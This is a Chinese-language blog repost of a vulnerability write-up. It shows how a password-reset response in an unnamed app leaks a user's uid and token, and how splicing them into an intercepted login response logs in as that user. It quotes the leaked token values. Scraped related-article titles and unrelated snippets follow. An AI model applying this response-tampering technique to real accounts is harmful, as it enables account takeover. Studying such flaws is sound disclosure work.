转载:https://www.nosafe.org/thread-333-1-1.html 
先来看看这个。
  首先,我在登陆时候截取返回包修改id值是无效的,因为有一个token验证,经过多次登陆发现,我自己的手机号对应的是一个token,这个token是不变的。所以脑海中就有了一个思路,只要能够获取到一个手机号,这个手机号对应的id和token值,替换进正确的返回包,说不定就能登陆上去。
  也就是我们需要三个条件:
  1.该用户的手机号
  2.该用户账号的token

  3.该用户账号的uid值


  这个token只有在密码正确的时候,返回包中才会有。所以我们通过登陆的方式是无法获取到的。后来自己多次测试,发现在重置密码,获取验证码时候抓包截取到的返回包中,非常神奇的有token值和uid。
  我这里用18888888888来演示。

  上图是获取验证码时候截取到的数据包,我们截取返回包看看。

{"status":"200","data":{"is_success":true,"is_exists":true,"data":{"user_id":6348205,"user_name":"18888888888","nick_name":"\u8fbe\u4ee4_6348418205","token":"ded8d0f713028a8462db4befb4c6d76c","alipay_no":"","avator":"\/mobile\/2015\/02\/13\/14238004473373.png","appname":"","sex":0,"birth_year":0,"birth_month":0,"birth_day":0,"orders":21,"sales":0,"likes":0,"shares":0,"wishes":0,"ctime":1382439889,"source":2,"subsource":0,"utime":1458385205,"uuid":"","push_token":"","read_time":0,"is_new_customers":0,"daily_orders":0,"daily_discount":10,"has_password":1,"uid":6348205,"accesstoken":"ded8d0f713028a8462db4befb4c6d76c"},"exist":true,"has_password":true}}
这一串的返回包中 有18888888888这个账号的token和uid


我用自己的手机号自己的密码登陆截取到的正确的返回包是:

{"status":"200","data":{"uid":"XXX","accesstoken":"XXXX","has_password":0,"token":{"dl_token":"d6650c88576a564082c819c444d7d08d","dl_fingerprint":"9671fc0ba5fd8e98a39fa63b1a9a5532","exp_time":2419641479},"show_msg":"\u6ce8\u518c\u5e76\u767b\u5f55\u6210\u529f\uff0c\u4eb2\u5bc6\u5ea6+15"}}

用XXX表示的就是我们需要改变的

18888888888的uid是6348205 token是ded8d0f713028a8462db4befb4c6d76c

我们带入进去 所以最后得到的返回包为

{"status":"200","data":{"uid":"6348205","accesstoken":"ded8d0f713028a8462db4befb4c6d76c","has_password":0,"token":{"dl_token":"d6650c88576a564082c819c444d7d08d","dl_fingerprint":"9671fc0ba5fd8e98a39fa63b1a9a5532","exp_time":2419641479},"show_msg":"\u6ce8\u518c\u5e76\u767b\u5f55\u6210\u529f\uff0c\u4eb2\u5bc6\u5ea6+15"}}

这个包 就是用来登陆18888888888这个号的了。。

我们来尝试一下 前台登陆 随便输一个密码 抓包


  截取返回包,修改。

改为
{"status":"200","data":{"uid":"6348205","accesstoken":"ded8d0f713028a8462db4befb4c6d76c","has_password":0,"token":{"dl_token":"d6650c88576a564082c819c444d7d08d","dl_fingerprint":"9671fc0ba5fd8e98a39fa63b1a9a5532","exp_time":2419641479},"show_msg":"\u6ce8\u518c\u5e76\u767b\u5f55\u6210\u529f\uff0c\u4eb2\u5bc6\u5ea6+15"}}
放包,成功登陆。

  是不是很神奇呢?

看我如何未授权登陆某APP任意用户(token泄露实例)的更多相关文章

  1. redis 未授权漏洞利用直接登录服务器

    在没有查到杀手之前我是先把带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因 2 在各种netstat –ntlp  的查看下没有任何异常 在top 下查到了有异常 ...

  2. Redis未授权访问缺陷让服务器沦为肉鸡

    朋友的一个项目说接到阿里云的告警,提示服务器已沦为肉鸡,网络带宽被大量占用,网站访问很慢,通过SSH远程管理服务器还频繁断开链接.朋友不知如何下手,便邀请我帮忙处理. 阿里云的安全告警邮件内容: 在没 ...

  3. HTTP 401.1 - 未授权:登录失败

    1 HTTP 401.1 - 未授权:登录失败 由于用户匿名访问使用的账号(默认是IUSR_机器名)被禁用,或者没有权限访问计算机,将造成用户无法访问.    解决方案: 1 打开IIS,右键站点,选 ...

  4. 服务器由于redis未授权漏洞被攻击

    昨天阿里云拦截到了一次异常登陆,改了密码后就没有管他, 今天阿里云给我发消息说我的服务器可能被黑客利用,存在恶意发包行为....... 不过我不打算只是单纯的重置系统,经过一系列的查找原因后,发现被攻 ...

  5. 服务器由于redis未授权访问漏洞被攻击

    昨天阿里云拦截到了一次异常登陆,改了密码后就没有管他, 今天阿里云给我发消息说我的服务器可能被黑客利用,存在恶意发包行为....... 不过我不打算只是单纯的重置系统,经过一系列的查找原因后,发现被攻 ...

  6. 微信授权登陆接入第三方App(步骤总结)Android。

    这几天开发要用到微信授权的功能,所以就研究了一下.可是微信开放平台接入指南里有几个地方写的不清不楚.在此总结一下,以便需要的人. 很多微信公众平台的应用如果移植到app上的话就需要微信授权登陆了. 目 ...

  7. [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上

    一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...

  8. 微信授权登陆接入第三方App(步骤总结)Android

    微信授权登陆接入第三方App(步骤总结)Android Android App实现第三方微信登录

  9. 粗略使用.NetCore2.0自带授权登陆Authorize

    上篇有朋友提及到如果nginx做集群后应该还会有下一篇文章主讲session控制,一般来说就是登陆:本篇分享的内容不是关于分布式session内容,而是netcore自带的授权Authorize,Au ...

随机推荐

  1. How to RAMDISK on macOS

    diskutil erasevolume HFS+ 'RAM Disk' `hdiutil attach -nomount ram://8388608`

  2. 3.ansible-iventory的写法和基本变量

    ansible的配置文件一点要多考虑,有些设定比如ssh端口啊用户啊线程啊都尽量在里面调节好iventory的话/etc/ansible/hosts 里面可以使用正则匹配ansible从invento ...

  3. java中的几个概念

    1.JDK(Java Development Kit ):编写Java程序的程序员使用的软件(它是编写java程序,使用到的工具包,为程序员提供一些已经封装好的 java 类库) 2.JRE(Java ...

  4. Spring 使用介绍(五)—— AOP(一)

    一.简单使用:Hello World实例 1.定义目标类 public interface Hello { void sayHello(); } public class HelloImpl impl ...

  5. git在Linux下的安装

    参考:https://git-scm.com/book/zh/v1/%E8%B5%B7%E6%AD%A5-%E5%AE%89%E8%A3%85-Git Git 的工作需要调用 curl,zlib,op ...

  6. 双击jar文件运行程序

    Java应用程序jar文件可以由 JVM(Java虚拟机)直接执行,只要操作系统安装了JVM便可以运行作为Java应用程序的jar文件.可是,很多朋友遇到一个难题,那就是下载了jar文件以后在Wind ...

  7. 使用JSch远程执行shell命令

    package com.nihaorz.jsch; import com.jcraft.jsch.Channel; import com.jcraft.jsch.ChannelExec; import ...

  8. kubernetes 利用label标签来绑定到特定node运行pod

    利用label标签来绑定到特定node运行pod: 不如将有大量I/O的pod部署到配置了ssd的node上或者需要使用GPU的pod部署到某些安装了GPU的节点上 查看节点的标签: kubectl ...

  9. Codeforces Round #419 Div. 1

    A:暴力枚举第一列加多少次,显然这样能确定一种方案. #include<iostream> #include<cstdio> #include<cmath> #in ...

  10. Python中xlrd模块解析

    xlrd 导入模块 import xlrd 2.打开指定的excel文件,返回一个data对象 data = xlrd.open_workbook(file)                     ...